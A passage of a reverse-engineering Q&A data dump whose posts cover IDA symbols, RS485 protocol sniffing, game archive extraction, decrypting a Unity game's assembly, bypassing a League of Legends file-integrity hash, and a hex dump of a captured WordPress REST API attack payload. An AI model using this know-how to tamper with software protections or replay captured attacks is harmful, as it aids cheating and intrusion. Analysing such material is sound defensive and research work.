CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14748" PostTypeId="1" AcceptedAnswerId="14758" CreationDate="2017-02-24T22:14:31.580" Score="-2" ViewCount="70" Body="&lt;p&gt;The shown girder is made from plain stone concrete and four 25 mm diameter steel wires. &#xA;Including the weight of steel wires, determine self weight of the girder if its length is 12.5 m.&#xA;Neglect the volume of concrete displaced by steel wires&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My answer,&#xA; area of concrete = ((150*1200)+ 4((200*100)+(0.5*100*150))-(4*pi*(12.5)^2))*(1×10^-3)^2=70.44m^2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;area of steel = (4*pi*(12.5)^2))*(1×10^-3)^2 = 1.963×10^-3m^2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;W = [(70.44×22.6)+(1.96×10^-3×77.3)] = 1.59×10^3KN/m&#xA;&lt;a href=&quot;https://i.stack.imgur.com/toEbO.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/toEbO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19289" LastEditorUserId="18804" LastEditDate="2017-02-25T17:11:51.783" LastActivityDate="2017-02-25T17:44:11.193" Title="Area calculations &amp; what about 12.5m?" Tags="|struct|math|" AnswerCount="1" CommentCount="5" ClosedDate="2017-02-25T18:06:14.497" ContentLicense="CC BY-SA 3.0" />
  <row Id="14751" PostTypeId="1" CreationDate="2017-02-25T03:10:11.597" Score="2" ViewCount="980" Body="&lt;p&gt;I am writing a reversing challenge where I need to seed a bug. It's important to have a particular ordering of local variable on stack in a method. However, gcc seems to shuffle those around. How can I control variable ordering in such cases?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2017-02-25T03:10:11.597" Title="How can I control local variable ordering on stack in gcc?" Tags="|stack|gcc|local-variables|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14752" PostTypeId="1" CreationDate="2017-02-25T03:44:59.393" Score="1" ViewCount="8420" Body="&lt;p&gt;Excuse any ignorance, I'm new to IDA/re.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm following this tutorial here: &lt;a href=&quot;https://ketansingh.net/hacking-games-with-dll-injection/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ketansingh.net/hacking-games-with-dll-injection/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the tutorial when he checks the functions with IDA they are all named with actual names, but when I check the functions they are all named seg_address. Can anyone tell me what the reason for this is? Can I get a plugin? Or is there some setting that is the reason? I've done some googling but haven't really found anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help.&lt;/p&gt;&#xA;" OwnerUserId="19293" LastActivityDate="2017-04-26T19:03:56.770" Title="IDA pro and function names/showing names" Tags="|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14753" PostTypeId="2" ParentId="14752" CreationDate="2017-02-25T04:09:04.080" Score="2" Body="&lt;p&gt;When opening Minesweeper inside of IDA from the directory &lt;code&gt;C:\Program Files\Microsoft Games\Minesweeper&lt;/code&gt; IDA should display a dialog asking to grab PDB files. Click 'Yes' and you'll get the names of most of the functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If however the PDB is not found, an alternative method for finding the PDB file is to use Microsoft's SymChk tool which downoads the appropriate PDB for a given file. It's available with the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff551063(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Window debugging tools&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More Information: &lt;a href=&quot;https://en.wikipedia.org/wiki/Program_database&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/Program_database&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19221" LastEditorUserId="19221" LastEditDate="2017-02-25T18:28:46.163" LastActivityDate="2017-02-25T18:28:46.163" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14756" PostTypeId="1" CreationDate="2017-02-25T09:36:04.583" Score="2" ViewCount="2929" Body="&lt;p&gt;Can anyone point me in the right direction for tutorials etc on reverse engineering RS484 connected battery management system?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a large 12V lithium battery module which has an internal BMS and its official diagnostic program running on an old XP laptop which uses an RS485-USB dongle to connect the two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have RealTerm running on the XP laptop snooping on the RS485 connection and can see oodles of traffic going to and fro between the two.  The trafic consists of lots of bytes of data some of which is ASCii plain text which clearlu identifies itself as relating to the battery/diagnostic app (it has the manufacturers name etc in it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like some help in deciphering the traffic as it must represent the battery's internal voltages and temperatures etc that are displayed in the Diagnostic app on the laptop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, I want to build a very basic PIC-based (as this is what I already know - I appreciate it may be time to move on to Arduino or similar) 'master' BMS to monitor several battery modules and control the charging and/or trigger alarms should something go out of whack in any of the battery modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards, MW.&lt;/p&gt;&#xA;" OwnerUserId="19298" LastEditorUserId="18580" LastEditDate="2017-02-27T22:15:11.660" LastActivityDate="2020-06-29T09:30:13.550" Title="How to monitor/reverse engineer RS485-connected display device traffic?" Tags="|decryption|python|dynamic-analysis|encodings|protocol|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14757" PostTypeId="2" ParentId="14752" CreationDate="2017-02-25T12:19:30.827" Score="3" Body="&lt;p&gt;Most real-world programs on Windows do not include symbols in the binary, so IDA is not able to show function names (except for imports from other DLLs which have names, or compiler library functions identified by FLIRT). However, most of the binaries shipped with Windows do have separate symbols available on Microsoft's public symbol servers. So in cases where such symbols exist on the symbol server, IDA may be able to download them and recover names. If this is a non-Microsoft program or the symbols are missing for whatever reason, you won't get names and will have to reverse-engineer the functionality of the program by studying its code.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-02-25T12:19:30.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14758" PostTypeId="2" ParentId="14748" CreationDate="2017-02-25T17:44:11.193" Score="0" Body="&lt;p&gt;This is not a question of reverse engineering, but anyway this is how you can  proceed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Divide the cross-section into 5 parts - 3 rectangles and 2 trapezoids.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/wvVe1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wvVe1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Area of rectangle and trapezoids can be calculated with their respective formulae. Multiply by the length (12.5m) to get the volume. The product of volume and density would give the mass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, you can calculate the mass for the 4 steel wires.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2017-02-25T17:44:11.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14759" PostTypeId="1" CreationDate="2017-02-25T21:59:16.523" Score="1" ViewCount="963" Body="&lt;p&gt;I have theoretical questions about encryption when there's a lot of devices involved. Specifically it's about reading meters (water/gas/heat meters).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some introduction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was trying to read a water meter but it turned out data frames are encrypted with AES-128. What's not encrypted is the water meter number (actually its a radio thingy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to download a pretty old version of the software (released 8 years ago, I know there's newer version but I don't have access). It was written in .Net so I decompiled it with JustDecompile soft. I was looking for any classes responsible for encryption. What I found about AES is connected to USB stick, so I assume that all the decryption stuff (or the important one) is placed on USB stick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's the question - remember - just theoretical one - how would you solve problem of encryption if you were the programmer/engineer behind it? Would it be just one decryption key? Or key would be generated based on device's number? What about device itself? Each would have different encryption KEY based on its numbers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I said - these are just theoretical questions. I know that I have no chance of decrypting it without some serious reverse engineering, but I've already spent hours on this, so I'm just curious.&lt;/p&gt;&#xA;" OwnerUserId="19305" LastEditorUserId="2147" LastEditDate="2017-03-26T14:50:00.113" LastActivityDate="2017-03-26T14:50:00.113" Title="Encryption (AES-128) in automatic meters reading" Tags="|decompilation|encryption|decryption|.net|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14760" PostTypeId="2" ParentId="14688" CreationDate="2017-02-26T14:16:58.560" Score="0" Body="&lt;p&gt;I realized this is done first by determining a code cave. Afterwards, just patch the binary using an application like Hex Fiend. The rest will show in IDA&lt;/p&gt;&#xA;" OwnerUserId="15808" LastActivityDate="2017-02-26T14:16:58.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14761" PostTypeId="2" ParentId="14504" CreationDate="2017-02-26T17:27:06.607" Score="1" Body="&lt;p&gt;If you are analyzing ELF binaries, then the &lt;a href=&quot;https://github.com/detuxsandbox/detux/&quot; rel=&quot;nofollow noreferrer&quot;&gt;open source&lt;/a&gt; online sandbox &lt;a href=&quot;http://detux.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;detux&lt;/a&gt; may prove useful:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Detux is a sandbox developed to do traffic analysis of the Linux malwares and capture the IOCs by doing so.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Detux logs network data including IP addresses the program sends signals to, DNS queries, URLs accessed and TCP raw streams:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/f2Yg9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/f2Yg9.png&quot; alt=&quot;Example detux screenshot&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you are performing analysis of Windows PE binaries then &lt;a href=&quot;https://sourceforge.net/projects/fakenet/&quot; rel=&quot;nofollow noreferrer&quot;&gt;FakeNet&lt;/a&gt; may be of interest to you:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;FakeNet is [a] Windows network simulation tool designed for malware analysis. It redirects all traffic leaving a machine to the localhost (including hard-coded IP traffic and DNS traffic) and implements several protocols to ensure that malicious code continues to execute and can be observed by an analyst.&lt;/p&gt;&#xA;&lt;p&gt;The tool supports DNS, HTTP, and SSL protocols and provides a python extension interface for implementing new or custom protocols. It also the capability to listen for traffic to any port as well as create packet capture on the localhost.&lt;/p&gt;&#xA;&lt;p&gt;Right now the tool only supports WinXP Service Pack 3. The tool runs fine on Windows Vista/7 although certain features will be automatically disabled.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Note that FakeNet is not a sandbox but is employed when analyzing binaries on an isolated system.&lt;/p&gt;&#xA;&lt;p&gt;If neither of these tools are what you are looking for, here is a long list of online scanners and sandboxes: &lt;a href=&quot;https://github.com/rshipp/awesome-malware-analysis#online-scanners-and-sandboxes&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/rshipp/awesome-malware-analysis#online-scanners-and-sandboxes&lt;/a&gt;&#xA;and here is Lenny Zeltser's list of free automated malware analysis sandboxes and services: &lt;a href=&quot;https://zeltser.com/automated-malware-analysis/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://zeltser.com/automated-malware-analysis/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If there is no tool that meets your requirements you can always create your own analysis lab. Books that will provide guidance for such an endeavor include &amp;quot;Practical Malware Analysis&amp;quot; by Honig and Sikorski (creators of FakeNet) and &amp;quot;Malware Analyst's Cookbook&amp;quot; by Ligh and Adair.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-02-26T17:27:06.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14762" PostTypeId="1" CreationDate="2017-02-26T17:32:42.883" Score="0" ViewCount="10924" Body="&lt;p&gt;My friend and I am trying to decrypt the Assembly-CSharp.dll file from an Android game which was written in Unity3D.&#xA;Normally these files are readable when using something like JustDecompile, but this one is encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We managed to modify the APK so that it is debuggable and also managed to get the stuff running so that we can debug the APK in IDA Pro.&#xA;This runs fine so far and we can also set breakpoints and all that stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when debugging the APK in IDA Pro we are not able to find the points where the client is decrypting the Assembly-CSharp.dll file as this seems to happen in libmono.so.&#xA;Here is an example what the encrypted DLL looks like right now:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/M2nw4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/M2nw4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and what it should look like (from a game, made by me with unity):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/fvSYA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fvSYA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After making some adjustments of how the files are loaded from the APK, we were able to load libmono.so and also libunity.so into IDA, but we can not debug these files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever we want to debug them the IDA system tells us that these files can not run by themselves. Now we have 3 possible ways how to get to the point we want to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Finding the correct entry for libmono.so over debugging the classes.dex file&lt;/li&gt;&#xA;&lt;li&gt;Loading libmono.so or libunity.so to jump step by step to the point where the Assembly-CSharp.dll gets decrypted and extract the DLL (not sure how to do this yet ^^)&lt;/li&gt;&#xA;&lt;li&gt;Finding a way to load the libmono.so into IDA and debug it with another tool (I found a tool here which is called native-shim, this could probably help us).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="19308" LastEditorUserId="18317" LastEditDate="2017-02-27T08:15:49.320" LastActivityDate="2017-03-03T04:45:35.837" Title="Extract decrypted Assembly-CSharp.dll from APK via IDA" Tags="|ida|decryption|apk|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14763" PostTypeId="2" ParentId="14762" CreationDate="2017-02-26T19:29:56.653" Score="0" Body="&lt;p&gt;You might to try GDB gcore which will require root. It will dump the memory and you can recovery decrypted files from dumped file&#xA;&lt;a href=&quot;http://www.iandrohacker.net/2015/11/tutorial-how-to-decrypt-encrypted-dll.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.iandrohacker.net/2015/11/tutorial-how-to-decrypt-encrypted-dll.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19188" LastActivityDate="2017-02-26T19:29:56.653" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14764" PostTypeId="1" AcceptedAnswerId="14769" CreationDate="2017-02-26T19:50:50.927" Score="2" ViewCount="805" Body="&lt;p&gt;I have an old PC game called Air Strike 3D II. I wanted to extract music files but I couldn't figure out how to unpack the .apk file (NOT Android package). 7-zip can't open it. When I open the .apk file with IDA, it says (Unknown COFF machine) and it failed to disassemble it so it's not an assembly file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The headers always start with &lt;code&gt;0000803F 99990000&lt;/code&gt;. There is a folder named &lt;code&gt;sounds&lt;/code&gt; and it contains .wav files, &lt;code&gt;sounds/biglaser.wav&lt;/code&gt;, &lt;code&gt;sounds/laser.wav&lt;/code&gt; etc... recovering files with WinHex does not help because it is packed and compressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a log file that says&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;---- Initializing file system ----&#xA;&#xA;pak1.apk - 733 files&#xA;pak2.apk - 45 files&#xA;pak4.apk - 1 files&#xA;F_Init: &#xA;3 data files found.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to disassemble the .exe file with IDA, but there is nothing useful because it is encrypted or obfuscated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google doesn't give me solutions because it returns Android related results. I wish it could show results from 2008 and older.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the files if you want to take a look:&#xA;&lt;a href=&quot;https://drive.google.com/open?id=0B_6TXpxCnMc7TGVfOWlYWjVYXzQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/open?id=0B_6TXpxCnMc7TGVfOWlYWjVYXzQ&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19188" LastEditorUserId="18317" LastEditDate="2017-02-27T08:15:54.060" LastActivityDate="2022-08-01T02:16:11.607" Title="Unpack .apk file from a PC game (NOT Android related)" Tags="|unpacking|hex|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14766" PostTypeId="1" AcceptedAnswerId="14797" CreationDate="2017-02-27T04:22:42.550" Score="1" ViewCount="4876" Body="&lt;p&gt;I'm looking to edit League of Legends's WAD files, but the developers of the game have recently decided to add a sort of hash to these files to check if their content is valid. Unfortunately, no one has been able to crack the code yet. I'm hoping someone might have at least an idea on what it could be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a few files that I extracted (the ones in the &quot;old&quot; directory are older files that also have a hash that you can use for comparison):&#xA;&lt;a href=&quot;https://drive.google.com/file/d/0B5fV4q6wLg7bTUE2VHc5aW5Ca00&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/0B5fV4q6wLg7bTUE2VHc5aW5Ca00&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The unknown &quot;hash&quot; value is bytes 4 to 87 (84 bytes long). I looked at &lt;a href=&quot;https://github.com/Pupix/lol-wad-parser&quot; rel=&quot;nofollow noreferrer&quot;&gt;this GitHub project&lt;/a&gt; to get started, but the person that wrote the code does not seem to know what that header means either. What I also found odd about the header is that it seems to vary in length (the end is padded with a different amount of null values in some files). At first I thought they might be using a variant of SHA or another hashing algorithm, but I'm no longer sure if that is the case because of the varying length, and I am definitely not a hashing professional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it helps, you can also download the &quot;Wooxy&quot; program, a League of Legends file extractor/editor program, to extract, edit, and update the game files yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if you don't know the exact answer, any bit of help is highly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; This is what appears in the game's log when it attempts to load an edited WAD file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000036.460|  ERROR| ?:0: attempt to call global 'GetHashedGameObjName' (a nil value)&#xA;000037.499| ALWAYS| Begin Game Object Update&#xA;000037.936| ALWAYS| WadFile mount: DATA/FINAL/Champions/Chogath.wad (FAILED)&#xA;000037.937| ALWAYS| Riot::RADS::Reader::SignalSoftRepair: Wrote soft repair file to C:/Riot Games/League of Legends/RADS/solutions/lol_game_client_sln/releases/0.0.1.163/SOFT_REPAIR. This will cause the patcher to repair your installation.&#xA;000037.937|  ERROR| Assertion failed!&#xA;&#xA;Expression: ALE-18967997&#xA;&#xA;Description: FATAL ERROR - WadFile mount failed: Champions/Chogath.wad&#xA;000039.411|  ERROR| Crash Occurred&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2:&lt;/strong&gt; There also seems to be an unknown value between bytes 88 and 95 (8 bytes long). Changing the bytes doesn't seem to crash the game, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 3:&lt;/strong&gt; I found out that the header looks like it's separated into 2 parts. Byte 4 indicates the total length of the header (without &lt;code&gt;00&lt;/code&gt; padding). Byte 8 indicates the length of the first &quot;chunk&quot;. After that amount of bytes, there is a &lt;code&gt;02&lt;/code&gt;, and the byte after that indicates the length of the second &quot;chunk&quot;. After that second bit, there are &lt;code&gt;00&lt;/code&gt;s until byte 87.&lt;/p&gt;&#xA;" OwnerUserId="19312" LastEditorUserId="19312" LastEditDate="2017-02-28T05:21:53.680" LastActivityDate="2017-03-02T20:26:11.000" Title="File Reverse Engineering – League of Legends WAD File Header Hash" Tags="|file-format|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14767" PostTypeId="1" AcceptedAnswerId="14774" CreationDate="2017-02-27T04:48:39.240" Score="0" ViewCount="890" Body="&lt;p&gt;I'm trying to revers this section of code, but I don't get it fully.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loc_2F2E0&#xA;VLDR            D19, =210.0&#xA;MOVS            R1, #0&#xA;VLDR            D18, =190.0&#xA;MOVS            R0, #0&#xA;VCMPE.F64       D17, D19&#xA;VMRS            APSR_nzcv, FPSCR&#xA;VCMPE.F64       D17, D18&#xA;IT MI&#xA;MOVMI           R1, #1&#xA;VMRS            APSR_nzcv, FPSCR&#xA;VCMPE.F64       D17, D19&#xA;IT GT&#xA;MOVGT           R0, #1&#xA;VMRS            APSR_nzcv, FPSCR&#xA;BNE             loc_2F348&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far as I can understand, what happens is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;D19 = 210.0;&#xA;R1 = 0;&#xA;D18 = 190.0;&#xA;R0 = 0;&#xA;if(D17 &amp;lt; D19 &amp;amp;&amp;amp; D17 &amp;gt;= D18){&#xA;    R1 = 1;&#xA;}&#xA;if(D17 &amp;gt; D19){&#xA;    R0 = 1;&#xA;}&#xA;if(D17 != D19){&#xA;    // goes to loc_2F348&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I'm pretty sure I have made some mistakes on the &lt;code&gt;VCMPE&lt;/code&gt; &lt;code&gt;IT MI&lt;/code&gt; &lt;code&gt;IT GT&lt;/code&gt; &lt;code&gt;MOVMI&lt;/code&gt; and &lt;code&gt;MOVGT&lt;/code&gt;, but I'm not sure.&lt;/p&gt;&#xA;" OwnerUserId="19262" LastActivityDate="2017-02-28T17:02:24.303" Title="Creating basic pseudocode from ARM ASM" Tags="|assembly|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14769" PostTypeId="2" ParentId="14764" CreationDate="2017-02-27T17:28:45.300" Score="5" Body="&lt;p&gt;Update: I've done a write up on the entire file format here: &lt;a href=&quot;https://tkte.ch/articles/2017/02/27/air-strike-3d.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tkte.ch/articles/2017/02/27/air-strike-3d.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;These files aren't compressed, so don't worry about that. Since all you want to do is extract those waves we can cheat (a lot) and ignore everything else. Lets do a naive check:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; strings -n 4 pak2.apk | grep RIFF -c&#xA;40&#xA;&#xA;&amp;gt; strings -n 4 pak2.apk | grep WAVEfmt -c&#xA;40&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Well that's promising. Looks like we've got a bunch of &lt;a href=&quot;https://en.wikipedia.org/wiki/WAV&quot; rel=&quot;nofollow noreferrer&quot;&gt;WAVs&lt;/a&gt; encapsulated by &lt;a href=&quot;https://en.wikipedia.org/wiki/Resource_Interchange_File_Format&quot; rel=&quot;nofollow noreferrer&quot;&gt;RIFFs&lt;/a&gt; which is pretty common.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python&#xA;# -*- coding: utf-8 -*-&#xA;import sys&#xA;import struct&#xA;&#xA;RIFF_MAGIC = b'RIFF'&#xA;RIFF_LENGTH = struct.Struct('&amp;lt;I')&#xA;&#xA;&#xA;def main():&#xA;    in_file = sys.argv[1]&#xA;&#xA;    # Since the files are tiny lets cheat again and just read the entire thing.&#xA;    with open(in_file, 'rb') as fin:&#xA;        in_file = fin.read()&#xA;&#xA;    offset = 0&#xA;    count = 0&#xA;    &#xA;    # We're going to skim through the file looking for the start of a RIFF file.&#xA;    while True:&#xA;        start = in_file.find(RIFF_MAGIC, offset)&#xA;        if start == -1:&#xA;            # None left, so we're done with this .apk.&#xA;            print('Extracted {0} files.'.format(count))&#xA;            return&#xA;&#xA;        # Found one, so lets read the next 4 bytes which are the length of the RIFF file.&#xA;        length = RIFF_LENGTH.unpack_from(in_file, start + 4)[0]&#xA;        # The 8 comes from the 4 bytes for RIFF and the 4 bytes for the length&#xA;        # itself, which aren't included in the length.&#xA;        offset = start + 8 + length&#xA;&#xA;        # annnnd save it.&#xA;        with open('wav_{0}.wav'.format(count), 'wb') as fout:&#xA;            fout.write(in_file[start:offset])&#xA;&#xA;        count += 1&#xA;&#xA;if __name__ == '__main__':&#xA;    sys.exit(main())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And give it a whirl...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; python extract.py pak2.apk&#xA;Extracted 40 files.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Open one of the WAV's in VLC and woohoo, sounds.&lt;/p&gt;&#xA;" OwnerUserId="12091" LastEditorUserId="12091" LastEditDate="2022-03-08T00:34:06.580" LastActivityDate="2022-03-08T00:34:06.580" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="14771" PostTypeId="1" CreationDate="2017-02-27T19:15:24.897" Score="3" ViewCount="463" Body="&lt;p&gt;I have a POST request that had spawned a PHP webshell. It has exploited the REST API vulnerability in WordPress versions 4.7.0 and 4.7.1. The body of the request is in binary (possibly gzip-compressed). It also bears striking resemblance to a ROP chain because the addresses seem high enough to be system dlls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get the readable data contained within the body of the request?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a hex dump of the body of the request:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000 0400 0000 0000 0000 0000 0000 0000 0000&#xA;0000010 4000 09e7 07d8 007f 0600 0000 ff00 ffff&#xA;0000020 b0ff 05af 07d8 007f 0400 0000 0000 0000&#xA;0000030 0000 0000 0000 0000 4000 00d5 07d8 007f&#xA;0000040 0500 0000 1e00 1e73 1065 00d5 07d8 007f&#xA;0000050 0400 0000 1e00 1e72 006f 0000 0000 0000&#xA;0000060 4000 0bbd 07d8 007f 0600 0000 0900 6a1d&#xA;0000070 801d 0f00 07d8 007f 0400 0000 1d00 7767&#xA;0000080 d800 076f 07d8 007f 0000 09e3 07d8 007f&#xA;0000090 0400 0000 6800 741d f01d 0ba4 07d8 007f&#xA;00000a0 0400 0000 0900 661d e81d 076e 07d8 007f&#xA;00000b0 b000 09e2 07d8 007f 0400 0000 6d00 6c1d&#xA;00000c0 9077 0ba4 07d8 007f 0400 0000 0000 0000&#xA;00000d0 7000 076e 07d8 007f 8000 085b 07d8 007f&#xA;00000e0 0600 0000 0000 0000 b000 0f00 07d8 007f&#xA;00000f0 0400 0000 0000 1e27 002d 0000 0000 0000&#xA;0000100 1000 07fb 07d8 007f 0600 0000 0000 0000&#xA;0000110 d000 0ba7 07d8 007f 0400 0000 0700 007f&#xA;0000120 0000 0000 0000 0000 1000 0ba3 07d8 007f&#xA;0000130 0400 0000 1e00 1e72 e06f 0ba2 07d8 007f&#xA;0000140 0400 0000 0000 002b 0017 0000 0000 0000&#xA;0000150 2000 14a4 07c0 007f 0200 0000 0700 007f&#xA;0000160 7000 02a3 07d8 007f 0400 0000 0000 0000&#xA;0000170 0000 0000 0000 0000 8000 05a4 07d8 007f&#xA;0000180 0500 0000 0000 0000 5000 05a4 07d8 007f&#xA;0000190 0400 0000 0000 0000 0000 0000 0000 0000&#xA;00001a0 0000 029b 07d8 007f 0500 0000 6300 731d&#xA;00001b0 d01d 029a 07d8 007f 0400 0000 0900 6a1d&#xA;00001c0 501d 0770 07d8 007f 6000 01ad 07d8 007f&#xA;00001d0 0600 0000 6300 6f1d 9077 01ad 07d8 007f&#xA;00001e0 0400 0000 6800 741d 801d 076d 07d8 007f&#xA;00001f0 a000 119c 07d8 007f 0500 0000 0000 1d09&#xA;0000200 c068 03f7 07d8 007f 0400 0000 6d00 6c1d&#xA;0000210 0077 0000 0000 0000 b000 09e1 07d8 007f&#xA;0000220 0400 0000 0000 0000 5000 0ba3 07d8 007f&#xA;0000230 0400 0000 0700 007f 0000 0000 0000 0000&#xA;0000240 0000 0f02 07d8 007f 0600 0000 0000 0000&#xA;0000250 3000 0f02 07d8 007f 0400 0000 0000 0000&#xA;0000260 0000 0000 0000 0000 8000 0ba5 07d8 007f&#xA;0000270 0400 0000 1e00 1e73 5065 0ba5 07d8 007f&#xA;0000280 0400 0000 1e00 1e72 006f 0000 0000 0000&#xA;0000290 8000 00e3 07d8 007f 0500 0000 0000 0000&#xA;00002a0 1000 0187 07d8 007f 0400 0000 0000 0000&#xA;00002b0 0000 0000 0000 0000 8000 1276 07d8 007f&#xA;00002c0 0600 